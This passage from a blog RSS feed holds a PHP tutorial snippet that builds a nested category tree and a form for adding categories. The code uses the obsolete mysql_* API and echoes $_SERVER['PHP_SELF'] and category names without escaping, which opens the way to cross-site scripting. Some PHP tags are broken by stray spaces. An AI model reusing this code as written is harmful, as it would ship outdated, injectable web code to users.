<li><span style="color: Gray;">&nbsp; &nbsp; echo(&quot;&lt;a href='&quot;.$_SERVER['PHP_SELF'].&quot;'&gt;增加新分类成功&quot;);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; die;</span></li>
<li><span style="color: Gray;">}else{</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $sql = &quot;SELECT * FROM cat ORDER BY pid ASC, cid ASC&quot;;//order by pid 是后面分析的基础（勿改动）</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $res = mysql_query($sql);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $arr = array();</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $lastPid = &quot;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; while($row = mysql_fetch_assoc($res)) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; if($lastPid == &quot;&quot; || $row['pid'] == $lastPid) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }else{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unset($lastPid);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; $lastPid = $row['pid'];</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; $arr[$lastPid][] = $row;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $okArr = array();</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; foreach($arr[0] as $pid=&gt;$row) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; okArr($row);&nbsp; &nbsp; //迭代数组的每个值进行层级分析，并保存到okArr数组中</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;form method=&quot;post&quot; action=&quot;</span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">echo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_SERVER</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">PHP_SELF</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span><span style="color: Blue;">?&gt;</span><span style="color: Gray;">?act=insert&quot;&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; 增加分类：&lt;select name=&quot;cid&quot;&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt;option value=&quot;&quot;&gt;--------&lt;/option&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt; ?php</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; foreach($okArr as $key=&gt;$row) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; ?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt;option value=&quot;</span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">echo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$row</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">cid</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span><span style="color: Blue;">?&gt;</span><span style="color: Gray;">&quot;&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt; ?php for($i=1;$i&lt;$row['lev'];$i++) {echo(&quot;&amp;nbsp;&amp;nbsp;&quot;);}?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt; ?php echo($row['cname']);?&gt;&lt;/option&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt; ?php</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; ?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;/select&gt;&lt;br /&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; 分类名称：&lt;input type=&quot;text&quot; name=&quot;cname&quot;/&gt;&lt;br /&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;input type=&quot;submit&quot; value=&quot;增加&quot;/&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;/form&gt;</span></li>
<li><span style="color: Gray;">&lt; ?php</span></li>
<li><span style="color: Gray;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">//迭代调用的数组分析方法</span></li>
<li><span style="color: Gray;">function okArr($a) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; global $arr, $index, $okArr;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; if(!empty($a['cname'])) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; //当前数组a是一个单一的数组信息记录</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; if(!empty($okArr[$a['pid'].'&gt;'.$a['cid']])) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //已有该数组的ok信息了，通过okArr数组的键值判断</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //okArr的键值设计原则：pid&gt;cid</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; //保存数组信息到okArr数组中</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; $okArr[$a['pid'].'&gt;'.$a['cid']] = $a;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; if(!empty($arr[$a['cid']])) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //如果该层分类下还有子分类，则迭代</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; okArr($arr[$a['cid']]);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; }else{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; //当前数组a是一个pid相同的多个同级分类数组</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; foreach($a as $pid=&gt;$row) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //迭代每个同级分类的元素</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; okArr($row);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">}</span></li>
<li><span style="color: Gray;">&lt;/a&gt;</span></li></ol></div>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/410.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

